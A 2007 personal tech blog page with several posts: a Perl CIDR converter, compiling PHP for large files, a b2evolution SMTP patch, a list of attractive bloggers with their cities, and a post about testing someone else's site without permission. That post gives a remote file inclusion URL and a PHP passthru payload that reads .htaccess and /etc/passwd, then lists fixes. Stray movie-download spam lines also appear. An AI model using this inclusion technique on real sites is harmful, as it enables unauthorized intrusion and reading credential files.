Ugh….CIDR

Posted by Nessa | Posted in Uncategorized | Posted on 28-08-2007

0

I kinda wish I paid attention in class when the professor was talking about CIDR notations and shit…because it would have come in handy tonight. But being that I’m lazy I did some looking around and found that there’s a perl module out there that will convert an IP range to CIDR for you with a simple 4-line script. You’ll need to install the Net::CIDR module for this to work
If you’re on cPanel just type:

# /scripts/perlinstaller Net::CIDR

Here’s the script:

#!/usr/bin/perl

use Net::CIDR;

$range = shift;

print (join(“\n”, Net::CIDR::range2cidr(“$range”)) . “\n” );


Usage:

root@vps [~]# perl convert.pl 192.168.0.1-192.168.1.1
192.168.0.1/32
192.168.0.2/31
192.168.0.4/30
192.168.0.8/29
192.168.0.16/28
192.168.0.32/27
192.168.0.64/26
192.168.0.128/25
192.168.1.0/31

The Panopticist is at it…Again

Posted by Nessa | Posted in uncategorized | Posted on 27-08-2007

1

watch diary of the dead in divx

diary of the dead download free

Just when I though he disappeared for good, our culturally observant (yet sexy) friend Andrew Hearst released some new Magazine covers that are almost as good as the infamous subliminal cocktail featured on Snopes a few years ago.

The last time I posted something on Andrew Hearst I had people asking me if I even knew what a Panopticist was. Ok, the answer is still no, seeing that I don’t even know how to pronounce the word (pan-nop-tih-cist??) but this page is supposed to explain it a little bit. Too bad I have the attention span of a flea, so yea. You can see his other fabtaculous magazine covers here and…um… what was I talking about again?

Size Matters with PHP

Posted by Nessa | Posted in Uncategorized | Posted on 27-08-2007

0

I figured this might be helpful to post since it seems to be a fairly common issue poking up about PHP’s limits in regard to file size. It’s no secret to fellow programmers that PHP is incapable of readily handling files over 2gb on the typical 32-bit system, but others are easily aggravated with a greeting of errors that look like this:

PHP Warning: ……. failed to open stream: File too large in ……..

Generally I’d say that if you’re trying to get PHP to man-handle huge files you’d need to have one badass server that can take that kind of abuse. Before you go about trying to compile PHP with large file support, you may want to consider passing the ‘split’ command through the system or passthru functions to break your massive files into smaller bits so PHP can handle them. If you’re the type that has to go about everything the hard way, then I guess that’s why you visited my site.
To compile PHP with large file support, you need to add a simple compiler flag preceding your configure statement. This should look as so:

# CFLAGS=”-D_FILE_OFFSET_BITS=64″ ./configure –with-modules-that-i-use

Then your make && make install and (if all goes without error) you should now be able to work with large files with PHP.

Too bad nothing’s really straight forward, eh? Apache itself has a filesize limit too (even up to 2.2.4) so don’t waste your time trying to get your newly-compiled PHP installation to work with Apache. When I was first trying to work this out I figured that it’s best to have two PHP installations, one for Apache and the other just for the CLI.

To do this, create yourself a phpinfo file and copy the configure line, removing the single quotes from around each flag. Two things you’ll want to change though:

  • Remove the ”–with-apxs2=/usr/local/apache/bin/apxs‘ (or similar) flag to keep the installer from compiling against Apache
  • Change your –prefix to a different location. I used ”–prefix=/usr/php-lfs’ .

When the installation is done, make it easier on yourself by creating some symlinks to the new binary:

ln -s /usr/php-lfs/bin/php /usr/bin/php5

ln -s /usr/php-lfs/bin/php /usr/local/bin/php5

This way you have your LFS-compiled PHP version in /usr/bin/php5 to use for your scripts. To call them, you’d use:

php5 /path/to/script or /usr/bin/php5 /path/to/script

What if you actually want to call the script from a browser? Well, you still can’t load a large file in the browser itself, but you can process it through a script to have a process run on the server:

<?php passthru('/usr/bin/php5 myscript.php'); ?>



And that should pretty much do it.

b2Evolution SMTP Patch

Posted by Nessa | Posted in uncategorized | Posted on 08-08-2007

5

Update (4/21/09) – This plugin is obsolete and is probably never going to be updated…use at your own risk!

I was debating whether or not to publish this since I wrote it mainly to target our customers, but I figured it might help someone who needs it.

Many hosting companies block PHP mail coming from the user ‘nobody’, which is a default if your host runs PHP as an Apache module. At the time of my writing, b2evolution does not support STMP, so I created a simple patch that will allow you to use phpMailer to send mail through SMTP instead of the send_mail() function that b2 uses.

Download b2evo_phpMailer-1.03.tar.gz (76k)

Requirements:

  • b2evolution 1.9.x or higher (tested with 1.9.3, but may work with other versions)
  • php 4.3.1 or higher (required by b2)
  • Valid SMTP server

Usage:

The instructions are specifically outlined in the readme.txt file within the archive, but it’s basically as simple as:

  1. Edit the ‘settings.php’ file in htsrv/phpmailer
  2. Upload the patched files to their corresponding locations on your webserver

And yea…that’s it.

Notes:

- This script was tested on a Linux platform running on cPanel, so the actual email setting and port numbers could be different on your server. If you are unsure about this, please ask your host.

- phpMailer does not explicity support SSL or TLS connections yet, so neither does this patch. You can essentially connect through any port as long as 1) your server runs SMTP on it and 2) it doesn’t require SSL or TLS.

I am not affiliated with b2evolution, so please do not contact me with questions about the software that do not pertain to the usage of this patch. This patch was mainly written to make b2evolution functional on some of our servers that block php mailing, and is not meant to be a major project. That being said, if you’re having difficulty getting my patch to work with your installation I would love to know about it, but please do not make your expectations too high. I have a life too =)

Top 8 Hottest Manbloggers

Posted by Nessa | Posted in Uncategorized | Posted on 07-08-2007

20

I got this idea from a comment I wrote about Aaron Brazell in my last post that he responded to, and I figured I it wouldn’t hurt to turn my own blog into a meat market. I know they’re tempting to look at, but who said that hot guys can’t write blogs?

Top 8 sexilicious bloggers (in no particular order), as well as their locations so you can stalk them:

Justin Durban from justindurban.com – Burbank, CA

Shelby DeNike from fauxzen.com – Los Angelos, CA

Ronald from 0×000000.com – Somewhere in the Netherlands, but usually in my bedroom

Aaron Brazell from technosailor.com – Baltimore, MD

Chris Shiflett from shiflett.org – Brooklyn, NY

Christian Mohn from h0bbel.p0ggel.org – Bergen, Norway

Michale Sica from michaelsica.com – Orlando, FL

Luke Welling from lukewelling.com – Washington, D.C.

If you’re a sexy blogger and you’re wondering why you’re not on this list, it’s probably because 1) I’ve never seen your site, 2) you don’t have a picture up, or 3) you’re not attractive. Of course you can always email me, since I’ll probably need some convincing.
Update: Apparently I’m not the only one who thinks the OmniTI guys are hot as hell…

Sexy Sites of the Week – 8/3

Posted by Nessa | Posted in Uncategorized | Posted on 03-08-2007

3

.::technosailor.com::.

I probably shouldn’t list a site that everyone already knows about, but if this blog was a toilet seat, it would be getting a lot of @$$. Not to mention the author doesn’t look too bad either.

.::panopticist.com::.

It’s been a while since we’ve heard anything from the panopticist, but he’s still the most well-known for his magazine covers and his overwhelming sense of “cultural surveillance” that kind of makes me wonder if he spends his Friday nights in the company of channel 961 with a roll of paper towels and some Crisco.

.::depiction.net::.

This site is more of a tutorial-based approach for new and experienced webmasters, so I thought it would be good to list here. What? Were you expecting some kind of witty but slightly sexual comment? From me? Nooooooo

.::simplehelp.net::.

Honestly, most of this site is completely not interesting by any means, but they do have a kick- ass list of web 2.0 resources that most webmasters would find sexilicious.

Dun Dun Dunnnnnnnnn

Posted by Nessa | Posted in Uncategorized | Posted on 03-08-2007

3

Just a nice life lesson for my fellow lazy programmers:

I was looking at this site the other day in class while I was researching some crap on sub-netting (which is not one of my high points btw) and I noticed an all-too-obvious URL structure that just screamed “hack me! please!” It’s a pagerank 5 site so I know that it’s getting quite a bit of traffic, so I’m surprised this hasn’t happened enough to the point where the site developer would fix his shit. Probably an example of the worst URL compilation I’ve seen in a while:

http://hiswebsite.com/index.php?page=subnett-2.php

I wrote simple php mailing script called ‘spam-me.php’ and uploaded it to my school space, then ran it off the guy’s site. I think I sent one of my professors an email about how unsatisfied his wife is, simply by tacking on my URL as the page definition:

http://hiswebsite.com/index.php?page=http://students.ecpi.edu/~<omitted>/spam-me.php

It was even better when I was able to view his .htaccess and /etc/passwd files by writing using the passthru function in another script that I ran from his site:

<?php passthru("cat ./.htaccess");
passthru("cat /etc/passwd");

?>

Since I’m a good person I emailed the guy about this little security problem of his. I can’t say he took it very well (it was more like someone killed his dog and left parts of it bundled up in gift wrapping on his doorstep), but the next day he took his site down. I made a point to mention that this wouldn’t have happened if he:

  1. Used the file_exists() function to specify what filenames can be presented in his URL
  2. Had mod_security installed so I couldn’t view his .htaccess
  3. Maybe disable allow_url_fopen so my site couldn’t be called as an include
  4. Had open_basedir protection so his system files can’t be accessed by php

Worse case I could have sent out a school-wide email offering penis enlargement pills, and then execute a root kit on his server. But then again, I’m a nice person, remember?